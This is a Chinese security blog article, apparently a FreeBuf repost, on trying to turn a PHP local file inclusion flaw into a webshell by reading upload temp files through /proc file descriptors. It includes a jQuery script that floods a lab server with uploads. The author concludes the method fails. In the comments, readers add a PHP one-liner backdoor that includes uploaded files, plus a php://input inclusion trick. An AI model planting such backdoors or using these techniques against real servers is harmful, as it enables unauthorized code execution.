热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

挖洞经验|把PHPLFI漏洞变成Webshell的思路

*本文原创作者:jfeiyi,本文属FreeBuf原创奖励计划,未经许可禁止转载关注PHP漏洞的朋友一定知道LFI+phpinfo可以搞出一个webshell。具体点击此处可

*本文原创作者:jfeiyi,本文属FreeBuf原创奖励计划,未经许可禁止转载

关注PHP漏洞的朋友一定知道LFI+phpinfo可以搞出一个webshell。具体点击此处可看。 LFI这个条件还算正常,但phpinfo这个还是比较难凑的,所以有点鸡肋。接下来,我分享一个……同样鸡肋的思路……大家先把屠刀放下!虽然鸡肋,但思路还是值得探讨的。

起因是一篇老外写的文章,读完后发现他的思路或许可以和PHP LFI结合。 文章前面写Java那段简直就是意淫,但是后来提到当linux进程访问一个文件的时候会在/proc/{PID}/fd/下创建一个文件描述符来指向被访问的文件。比如/proc/1234/fd/5会指向/tmp/tmpXXX。而如果你cat proc/1234/fd/5,就会看到/tmp/tmpXXX的内容。而我们知道,向任何php脚本发送上传文件的请求,php都会创建一个临时文件来保存上传的当内容,当php脚本执行结束才删除这个临时文件。那么当创建临时文件的时候,一定会创建相应的文件描述符。如果我们能找到对应的文件描述,应该就能通过文件包含实现webshell了。一开始我想难点是猜出PID和文件描述符编号,PID一般是几千,apache进程的文件描述符编号一般就只在1-20之间,所以理论上暴力破解并不难。后来我发现其实搞定PID和文件描述符编号要比想象中简单得多。

实验步骤我就写得简洁一点了。

首先,我们需要不断上传文件到任意php脚本,这个文件最好还大一些。我用的是一个大概4mb的文件,似乎上传文件有大小限制,太大的文件我没有实验成功,也没有深究。然后就是写个程序不断上传这个文件就好,我用的是jquery+HTML。更理想一点应该是用python/java跑多线程。以下是源代码:

<html>
<body>
 <script src="https://code.jquery.com/jquery-1.10.2.js">script>

<form id="form" action="http://192.168.174.128/Default.php" method="post" enctype="multipart/form-data">
<input type="file" name="test">
<input type="submit">
form>
 <script>
$( "form" ).submit(function( event ) {
   uploadFiles(event);
   return;
});
var files;

$('input[type=file]').on('change', prepareUpload);

function prepareUpload(event)
{
 files = event.target.files;
}
function uploadFiles(event)
{
 event.stopPropagation(); 
   event.preventDefault(); 

   var data = new FormData();
   $.each(files, function(key, value)
   {
       data.append(key, value);
   });
 var i=0;
 for(;i<1000;i++){
  $.ajax({
   url: 'http://192.168.174.128/Default.php',
   type: 'POST',
   data: data,
   cache: false,
   dataType: 'json',
   processData: false, 
   contentType: false, 
   success: function(data, textStatus, jqXHR)
   {
    if(typeof data.error === 'undefined')
    {
     submitForm(event, data);
    }
    else
    {
     console.log('ERRORS: ' + data.error);
    }
   },
   error: function(jqXHR, textStatus, errorThrown)
   {
    console.log('ERRORS: ' + textStatus);
   }
  });
  //wait(100);
 }
}
function wait(ms){
   var start = new Date().getTime();
   var end = start;
   while(end 
     end = new Date().getTime();
 }
}
script>
body>
html>

运行截图:

把PHP LFI漏洞变成Webshell的思路

运行后可以在服务器上看到如下结果:

把PHP LFI漏洞变成Webshell的思路

可以看到确实有临时文件创建了,而且也有文件描述符被创建,最重要的是文件描述符编号全部都是13,可能不同的机器上这个编号不同,但只要它是一个恒定的数字,那么就可以省去相当的多的猜解时间。比如只暴力猜测pid,运行多次,而每次只使用一个文件描述符编号就行。

接下来我就测试了一下是否能真的读到内容,我挑了3个pid,随便cat了几次,还真就成功了:

把PHP LFI漏洞变成Webshell的思路

有人会说猜测pid也是一件很费劲的事,毕竟文件描述符只存在于读写文件的时候,即使php脚本执行时间很长,文件描述符也不会一直存在。且即使几个apache进程会不断处理上传的文件,但短时间内猜测一千到一两万的数字还是很难中的。后来经过我不断探索,发现apache的第一个进程的pid是可以直接读到的。用LFI直接读/var/run/apache2/apache2.pid就行,这个文件是所有用户可读的:

把PHP LFI漏洞变成Webshell的思路

而apache创建的其他进程的pid会在这个编号上递增。而apache也就创建几个进程而已,所以猜测范围可能都不超过20。会有一两个进程的pid不按这个规律,我也不知道为啥,但并不碍事。

看到cat出内容的时候我那个激动啊,说明离成功只有一步之遥了,要是成功了就变成个大杀器了!然而当我通过浏览器进行暴力破解的时候怎么也不成功,我那个郁闷啊。后来看到错误日志的时候才彻底懵逼:

把PHP LFI漏洞变成Webshell的思路

。。。我不是专搞php的,后来经过学习才发现虽然apache会以root运行,但它会创建子进程以www-data来运行php。而文件描述符是属于服务器权限内也就是root的,所以www-data读不了。我当时那个沮丧啊。。。。这就是这个思路最终沦为鸡肋的原因。文件描述符应该只有owner可读,也就是说要么apache和php都配置为同一个用户运行,要么就是用别的服务器运行php了。毕竟根据老外文章中给的python例子,服务器的权限一般和应用程序的一样,tomcat+Java也是同权限,只有apache+php这个组合有点奇葩。

*本文原创作者:jfeiyi,本文属FreeBuf原创奖励计划,未经许可禁止转载

发表评论

已有 9 条评论

  • evil7  (5级) 入梦落樱满熏香,梦醒犹记四月谎  2017-09-01 回复 1楼

    $f = $_FILES['file']['tmp_name'];($f!=NULL)?@include($f):print("");
    ?>

    真巧,我一直就是这样放小马的……
    并且这个其实可以扩展成一句话的免杀。你可以再往骚点思路去想。
    http://www.freebuf.com/column/133753.html
    研究出什么的话,专栏欢迎来稿~

    亮了( 0)
    • jfeiyi  (2级) 美帝小技术宅  2017-09-01 回复

      @ evil7  留这个马的前提是要能上传上去吧。。如果只有LFI没可能啊。

      亮了( 0)
  • evil7  (5级) 入梦落樱满熏香,梦醒犹记四月谎  2017-09-01 回复 2楼

    哎哟,前端大哥,来加个按钮插入[code]或者md语法的code片段吧。。。一个关注极阔与黑阔的网站,没有代码片段回复和highlight,好蓝瘦啊

    亮了( 3)
  • 23333  2017-09-01 回复 3楼

    这个早就有了,还有留注入什么的,反正就是留个洞,方便自己以后进去而已,没什么大不了的

    亮了( 0)
  • jfeiyi  (2级) 美帝小技术宅  2017-09-01 回复 4楼

    这不仅是php啊,python, java如果能找到LFI+文件上传,用这思路应该也能get shell

    亮了( 0)
  • laoliutou  2017-09-04 回复 5楼

    还大杀器呢,你能cat proc/1234/fd/5?
    apache默认都不允许root运行,想设置这样的试验环境就麻烦死了,有哪个管理员还会这么麻烦搞个apache-root让人攻?

    亮了( 0)
    • jfeiyi  (2级) 美帝小技术宅  2017-09-04 回复

      @ laoliutou apapche不用root运行怎么监听80端口?除非你换别的端口。看截图我没能cat?最后确实鸡肋了,我没说成了“大杀器”啊。

      亮了( 0)
      • 小白俱乐部  (1级)  2017-09-05 回复

        @ jfeiyi  apache要用root用户启动,但默认不是以root权限运行。

        亮了( 0)
  • WinXx  (1级)  2017-09-05 回复 6楼

    LFI的情况, 不是通常用 getfile.php?file=php://input这种形式, 然后post提交就能直接执行命令?


推荐阅读
  • 开发笔记:加密&json&StringIO模块&BytesIO模块
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了加密&json&StringIO模块&BytesIO模块相关的知识,希望对你有一定的参考价值。一、加密加密 ... [详细]
  • 原文地址:https:www.cnblogs.combaoyipSpringBoot_YML.html1.在springboot中,有两种配置文件,一种 ... [详细]
  • Go Cobra命令行工具入门教程
    本文介绍了Go语言实现的命令行工具Cobra的基本概念、安装方法和入门实践。Cobra被广泛应用于各种项目中,如Kubernetes、Hugo和Github CLI等。通过使用Cobra,我们可以快速创建命令行工具,适用于写测试脚本和各种服务的Admin CLI。文章还通过一个简单的demo演示了Cobra的使用方法。 ... [详细]
  • 本文讨论了在手机移动端如何使用HTML5和JavaScript实现视频上传并压缩视频质量,或者降低手机摄像头拍摄质量的问题。作者指出HTML5和JavaScript无法直接压缩视频,只能通过将视频传送到服务器端由后端进行压缩。对于控制相机拍摄质量,只有使用JAVA编写Android客户端才能实现压缩。此外,作者还解释了在交作业时使用zip格式压缩包导致CSS文件和图片音乐丢失的原因,并提供了解决方法。最后,作者还介绍了一个用于处理图片的类,可以实现图片剪裁处理和生成缩略图的功能。 ... [详细]
  • SpringMVC接收请求参数的方式总结
    本文总结了在SpringMVC开发中处理控制器参数的各种方式,包括处理使用@RequestParam注解的参数、MultipartFile类型参数和Simple类型参数的RequestParamMethodArgumentResolver,处理@RequestBody注解的参数的RequestResponseBodyMethodProcessor,以及PathVariableMapMethodArgumentResol等子类。 ... [详细]
  • 本文介绍了如何使用JSONObiect和Gson相关方法实现json数据与kotlin对象的相互转换。首先解释了JSON的概念和数据格式,然后详细介绍了相关API,包括JSONObject和Gson的使用方法。接着讲解了如何将json格式的字符串转换为kotlin对象或List,以及如何将kotlin对象转换为json字符串。最后提到了使用Map封装json对象的特殊情况。文章还对JSON和XML进行了比较,指出了JSON的优势和缺点。 ... [详细]
  • Nginx使用(server参数配置)
    本文介绍了Nginx的使用,重点讲解了server参数配置,包括端口号、主机名、根目录等内容。同时,还介绍了Nginx的反向代理功能。 ... [详细]
  • 目录实现效果:实现环境实现方法一:基本思路主要代码JavaScript代码总结方法二主要代码总结方法三基本思路主要代码JavaScriptHTML总结实 ... [详细]
  • 本文介绍了在Win10上安装WinPythonHadoop的详细步骤,包括安装Python环境、安装JDK8、安装pyspark、安装Hadoop和Spark、设置环境变量、下载winutils.exe等。同时提醒注意Hadoop版本与pyspark版本的一致性,并建议重启电脑以确保安装成功。 ... [详细]
  • 如何在服务器主机上实现文件共享的方法和工具
    本文介绍了在服务器主机上实现文件共享的方法和工具,包括Linux主机和Windows主机的文件传输方式,Web运维和FTP/SFTP客户端运维两种方式,以及使用WinSCP工具将文件上传至Linux云服务器的操作方法。此外,还介绍了在迁移过程中需要安装迁移Agent并输入目的端服务器所在华为云的AK/SK,以及主机迁移服务会收集的源端服务器信息。 ... [详细]
  • php支持中文文件名
    2019独角兽企业重金招聘Python工程师标准大家可能遇到过上传中文文件名的文件,或者读取中文目录时不能读取,出现错误的情况这种情况是因为php自动将中文字符转成了utf8 ... [详细]
  • 小程序自动授权和手动接入的方式及操作步骤
    本文介绍了小程序支持的两种接入方式:自动授权和手动接入,并详细说明了它们的操作步骤。同时还介绍了如何在两种方式之间切换,以及手动接入后如何下载代码包和提交审核。 ... [详细]
  • 本文介绍了一个免费的asp.net控件,该控件具备数据显示、录入、更新、删除等功能。它比datagrid更易用、更实用,同时具备多种功能,例如属性设置、数据排序、字段类型格式化显示、密码字段支持、图像字段上传和生成缩略图等。此外,它还提供了数据验证、日期选择器、数字选择器等功能,以及防止注入攻击、非本页提交和自动分页技术等安全性和性能优化功能。最后,该控件还支持字段值合计和数据导出功能。总之,该控件功能强大且免费,适用于asp.net开发。 ... [详细]
  • Java和JavaScript是什么关系?java跟javaScript都是编程语言,只是java跟javaScript没有什么太大关系,一个是脚本语言(前端语言),一个是面向对象 ... [详细]
  • 十大经典排序算法动图演示+Python实现
    本文介绍了十大经典排序算法的原理、演示和Python实现。排序算法分为内部排序和外部排序,常见的内部排序算法有插入排序、希尔排序、选择排序、冒泡排序、归并排序、快速排序、堆排序、基数排序等。文章还解释了时间复杂度和稳定性的概念,并提供了相关的名词解释。 ... [详细]
author-avatar
风中的百合香迷人
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有